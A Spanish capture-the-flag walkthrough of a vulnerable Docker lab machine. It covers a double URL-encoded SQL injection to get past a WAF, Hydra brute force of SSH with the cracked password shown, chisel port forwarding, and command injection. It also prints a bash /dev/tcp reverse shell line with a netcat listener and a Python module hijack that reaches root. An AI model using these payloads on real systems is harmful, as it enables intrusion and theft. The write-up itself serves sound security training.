Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipspiderport.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shspiderport.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Veremos el puerto 80 levantado, que generalmente aloja una pagina web, si entramos dentro veremos que efectivamente hay una pagina web con tecamtica de multiverso de super heroes, por lo que no veremos nada interesante, vamos a realizar un poco de fuzzing a ver que vemos.
Si nos vamos a Contacto veremos un correo de comunicacion, pero vemos interesante que tiene asociado un dominio llamado spiderverse2099.local, por lo que vamos a probar a meter dicho dominio en nuestro archivo hosts para ver si tuviera una pagina aparte en dicho dominio.
Lo guardamos y cargamos la pagina con el dominio de esta forma:
Veremos que nos carga la misma pagina, por lo que da igual el dominio, pero si nos vamos a la seccion de Multiverso veremos un login, probando algun SQLi veremos que nos da el siguiente mensaje:
Info:
Nos esta diciendo que tiene un WAF controlando las entradas, vamos a intentar Bypassear dicho WAF a ver si lo conseguimos.
Bypass del WAF
Probando algunos payloads codificados, veremos que este funciona:
Es una codificacion doble de URL del payload (' OR 1=1-- -), si metemos eso veremos lo siguiente:
Vemos que ha funcionado y obtendremos varias credenciales las cuales vamos a crear 2 diccionarios de contraseñas y usuarios, para probarlos en SSH.
users.txt
pass.txt
Escalate user peter
Hydra
Info:
Veremos que coincide unas credenciales, en este caso del usuario peter, por lo que vamos a conectarnos por SSH.
SSH
Metemos como contraseña sp1der...
Veremos que estaremos dentro.
Escalate user www-data
Si listamos la carpeta /opt veremos lo siguiente:
Vemos que hay un script que contiene lo siguiente:
No veremos gran cosa en el script, pero en la carpeta /opt veremos que podremos modificar el script si fueramos el grupo spiderlab, por lo que vamos a seguir investigando.
Si vemos los puertos que hay a nivel interno, vemos lo siguiente:
Info:
Vemos que hay un puerto 8080 a nivel interno, vamos a pasarnoslo a nuestro host realizando un PortForwarding con chisel.
Echo esto vamos a levantar chisel en modo server desde la maquina victima.
Ahora desde la maquina host vamos a realizar lo mismo de antes, pero ejecutando este otro comando:
Ahora si vamos a nuestro navegador y buscamos lo siguiente...
Info:
Veremos que ha funcionado y nos esta diciendo claramente que podemos ejecutar un comando, vamos a probar con id:
Veremos que funciona y somos el grupo que buscabamos, por lo que vamos a realizar una reverse shell de esta forma:
Ahora nos pondremos a la escucha antes de enviarlo:
Si enviamos el comando de antes y volvemos a donde tenemos la escucha veremos lo siguiente:
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el script spidy.py como el usuario root, por lo que vamos a investigar como escalar.
Si comprobamos las librerias a ver si existen en el sistema, veremos lo siguiente:
Info:
Solamente veremos esto por lo que sys y json no las vemos en el sistema, vamos a probar con una tecnica llamada Python Module Hijacking con la libreria json.py de esta forma:
Ahora vamos a crear el json.py malicioso dentro del /opt ya que podremos crear archivos.
json.py
Ejecutaremos el script de esta forma:
Ahora si listamos la bash veremos lo siguiente:
Info:
Vemos que ha funcionado, por lo que escalaremos a root de esta forma:
Info:
Con esto veremos que ya seremos root, por lo que habremos terminado la maquina.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-05 13:08:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: peter password: sp1der
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-05 13:08:42
#!/usr/bin/env python3
# spidey_run.py - Spider-Man Python Lab
import os
import sys
import json
import math
def web_swing():
print("🕷 Spider-Man se balancea por la ciudad.")
print("Explorando los tejados y vigilando la ciudad...")
def run_tasks():
print("🕸 Ejecutando tareas del día...")
print("Saltos calculados:", math.sqrt(225))
data = {"hero": "Spider-Man", "city": "New York"}
print("Registro de datos:", json.dumps(data))
def fight_villains():
villains = ["Green Goblin", "Doctor Octopus", "Venom"]
print("Villanos en la ciudad:", ", ".join(villains))
for v in villains:
print(f"🕷 Enfrentando a {v}...")
if __name__ == "__main__":
web_swing()
run_tasks()
fight_villains()
print("✅ Spider-Man ha terminado su ronda.")
Salida de: id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(spiderlab)
bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
nc -lvnp <PORT>
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 48744
bash: cannot set terminal process group (34): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b2188aff6dfb:/var/www/internal$ whoami
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Matching Defaults entries for www-data on b2188aff6dfb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on b2188aff6dfb:
(ALL) NOPASSWD: /usr/bin/python3 /opt/spidy.py